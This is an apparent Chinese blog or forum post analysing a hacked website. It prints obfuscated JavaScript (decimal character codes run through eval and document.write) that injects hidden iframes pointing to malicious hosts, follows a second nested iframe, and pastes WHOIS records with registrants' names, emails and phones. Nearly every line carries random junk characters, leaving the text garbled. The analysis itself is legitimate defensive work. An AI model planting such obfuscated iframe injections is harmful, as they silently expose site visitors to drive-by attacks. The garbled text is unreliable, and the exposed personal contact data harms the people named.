[原创]一篇刚写的分析木马手记

首发在我的博客里面， n~w[ajC/  
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http://www.areway.cn/?p=175 8h}1t4k  
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周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码： 4_CXs.v1  
          6+>X`k%D  
<script>t=’60,105,102,114,97,109,101, yg|yoL'g  
32,115,114,99,61,104,116,116,112,58,47,47, i}<fg*6@E  
102,114,101,101,46,117,45,117,117,117,46,99, Opy{i#>  
110,47,101,114,114,111,114,46,104,116,109, 5PpS/I:on  
32,119,105,100,116,104,61,49,48,48,32,104, 3v#F0s|  
101,105,103,104,116,61,48,62,60,47,105,102, jM{5nRQ  
114,97,109,101,62′; 4|eI_u{_  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> @Y9tkJIt  
                                                                                                  5wvh @Sc\  
<script>t=’60,105,102,114,97,109,101,32,115, cUi6 On1C  
114,99,61,104,116,116,112,58,47,47,102,114, hG9Mp!d91  
101,101,46,117,45,117,117,117,46,99,110,47, h;cw=G  
101,114,114,111,114,46,104,116,109,32,119, KUq(&H7  
105,100,116,104,61,49,48,48,32,104,101,105, ^\VVx:]  
103,104,116,61,48,62,60,47,105,102,114,97, #.}&6ZP  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); XK0lv8(  
document.write(t);</script> [Q8vS;.  
                                                                                                  <1~_nt~(*  
<html xmlns=” [*ug:PG  
http://www.w3.org/1999/xhtml $9Xn.,W  
“> 6k37RpgH  
<head> Y|-&=  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 8k Sb92  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> rXGaav9  
<title>首页 - 爱生活家庭网 ldaT: er9  
                                                                                                                                                    cft@sY  
上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。 f.vJJa  
转换字符串后的大概内容是（谁点击后果自付）： ~/K'n  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… C6tfFS3bq  
                                                                                                                                  7.yCs[Z  
查询玉米u-uuu.cn的详细信息： hx~rq`{  
Domain Name: u-uuu.cn J?&%fI
 
ROID: 20070901s10001s64972306-cn u~N'UD1x  
Domain Status: ok #K>Ue>hx  
Registrant Organization: 王雷 \/m-G:|  
Registrant Name: 王雷 j3 @Q  
Administrative Email: czlovexs@126.com 3?&P^{  
Sponsoring Registrar: 北京万网志成科技有限公司 %~Wr/TOt+  
Name Server:ns.yovole.com lj*=bK  
Name Server:ns1.yovole.com [RDY(}P%  
Registration Date: 2007-09-01 17:54 PP6gU=9[)  
Expiration Date: 2008-09-01 17:54 '?mky,:HT  
最后PING了一下地址 都没有什么…. ~Bt>Y  
                                                                                                )o::~ eu  
上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套. u@4khN: ^p  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> b|.<rV'BTt  
<script language=”javascript” src=” B-$ps=G+z  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script }qhND-9#@  
> OR10IS  
这个玉米应该有可能是木马作者的： |Yi_|']#  
foafau.info的详细信息： soB_j  
Access to INFO WHOIS information is provided to assist persons in HIlTt  
determining the contents of a domain name registration record in the #J$z0%P  
Afilias registry database. The data in this record is provided by C8 $KVZ  
Afilias Limited for informational purposes only, and Afilias does not [Z]C
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guarantee its accuracy.  This service is intended only for query-based ~.S/<:`U  
access. You agree that you will use this data only for lawful purposes
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and that, under no circumstances will you use this data to: (a) allow, kh"APxQ79  
enable, or otherwise support the transmission by e-mail, telephone, or -ozcK  
facsimile of mass unsolicited, commercial advertising or solicitations EuD$^#  
to entities other than the data recipient’s own existing customers; or #6 $WuIG  
(b) enable high volume, automated, electronic processes that send k,/2]{#53d  
queries or data to the systems of Registry Operator, a Registrar, or v@:m8Y(t  
Afilias except as reasonably necessary to register domain names or 5lE9UoG[Q  
modify existing registrations. All rights reserved. Afilias reserves pf&SIG  
the right to modify these terms at any time. By submitting this query, t1o_x}z4.  
you agree to abide by this policy. 3`njQvI\  
Domain ID:D22418703-LRMS [5P1 pkZ  
Domain Name:FOAFAU.INFO o~'UWU'#
 
Created On:20-Nov-2007 16:05:42 UTC ~2XiKY;W?  
Last Updated On:20-Nov-2007 16:05:44 UTC h7}P5z0F  
Expiration Date:20-Nov-2008 16:05:42 UTC X/S%0AwZ  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) #4& <d.aw'  
Status:CLIENT DELETE PROHIBITED -D_xA10  
Status:CLIENT RENEW PROHIBITED @l~MY*hp  
Status:CLIENT TRANSFER PROHIBITED A^7}:[s20  
Status:CLIENT UPDATE PROHIBITED :rN5HOg^9  
Status:TRANSFER PROHIBITED Ec!R3+  
Registrant ID:GODA-040110615 *,XT;h$'>  
Registrant Name:liu hong ].N%A07  
Registrant Organization: [ldx_+xa:E  
Registrant Street1:beijing 69``j{Z+  
Registrant Street2: Gwfi  
Registrant Street3: kE{-h'xADD  
Registrant City:beijing ]~'pYOB  
Registrant State/Province: -$f$z(h  
Registrant Postal Code:100000 SiT5QJe  
Registrant Country:CN J~5+=V7OV  
Registrant Phone:+86.860108888777 q{Gf@  
Registrant Phone Ext.: IOH6h=  
Registrant FAX: ^ Mq8jw(2  
Registrant FAX Ext.: P)06<n1">Z  
Registrant Email:bbbshiji@163.com %T~LK=m  
Admin ID:GODA-240110615 t&(\A,ch%  
Admin Name:liu hong N6/;p]|  
Admin Organization: N8`q.;qewz  
Admin Street1:beijing 0F[+rh"x  
Admin Street2: U0dhr;l  
Admin Street3: X}]g;|~SN  
Admin City:beijing FzQ6UO~'  
Admin State/Province: m^1'aO_;q  
Admin Postal Code:100000 9Qc=D
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Admin Country:CN ~qb-uT\(99  
Admin Phone:+86.860108888777 24d{ol)  
Admin Phone Ext.: @Yzb6@g"  
Admin FAX: esHcE{GNOS  
Admin FAX Ext.: TZE;$:1vx>  
Admin Email:bbbshiji@163.com I!g+K  
Billing ID:GODA-340110615 Vs&Ul6@N  
Billing Name:liu hong 4]ETF+   
Billing Organization: q<Wz9lDMNR  
Billing Street1:beijing 2!6
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Billing Street2: 9*xv ,Yz8  
Billing Street3: Wg=4`&F^  
Billing City:beijing 0/b3]{skK  
Billing State/Province:  LhtA]z,m  
Billing Postal Code:100000 G\H|\i  
Billing Country:CN K]Z];C#)  
Billing Phone:+86.860108888777 MVe4[<  
Billing Phone Ext.: \yA*)X+  
Billing FAX: SQI =D8  
Billing FAX Ext.: {'q(a4  
Billing Email:bbbshiji@163.com -ob1_0  
Tech ID:GODA-140110615 JA6#qlylL  
Tech Name:liu hong t;)`+K#1:  
Tech Organization: ,gn**E  
Tech Street1:beijing ~5wT
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Tech Street2: 690;\O '  
Tech Street3: :3By7BZgj  
Tech City:beijing K}Rq<zW  
Tech State/Province: iVf8M$!m  
Tech Postal Code:100000 #s|/5[i  
Tech Country:CN >I*uo.OF  
Tech Phone:+86.860108888777 4[f>kY%[  
Tech Phone Ext.: }FT8[m<  
Tech FAX: :pg]0X;  
Tech FAX Ext.: *d,Z?S/  
Tech Email:bbbshiji@163.com {~~'

 
Name Server:NS27.DOMAINCONTROL.COM Q`(.Blgm;  
Name Server:NS28.DOMAINCONTROL.COM V=5v7Y3(j  
Name Server: d<afO?"  
Name Server: ynG@/S6)K  
Name Server: Mp`i@pm+  
Name Server: [[vbw)u  
Name Server: ?wbf)fbq  
Name Server: pwr]lV$w  
Name Server: WxF0LhM  
Name Server: )W$@phY(I  
Name Server: $|!@$Aj  
Name Server: #(Ezt% ^  
Name Server: {&s.*5  
                                                                                                          ?M@ff0  
接着下载每个文件里面的代码： DeRC_ [  
一步一步看.. -!pg1w06  
];au! _o  
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*odwg$  
kU[#. y=%p  
? EXYLG  
都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试

看过了就是没看懂。。。

要是有全部 就好了 传上来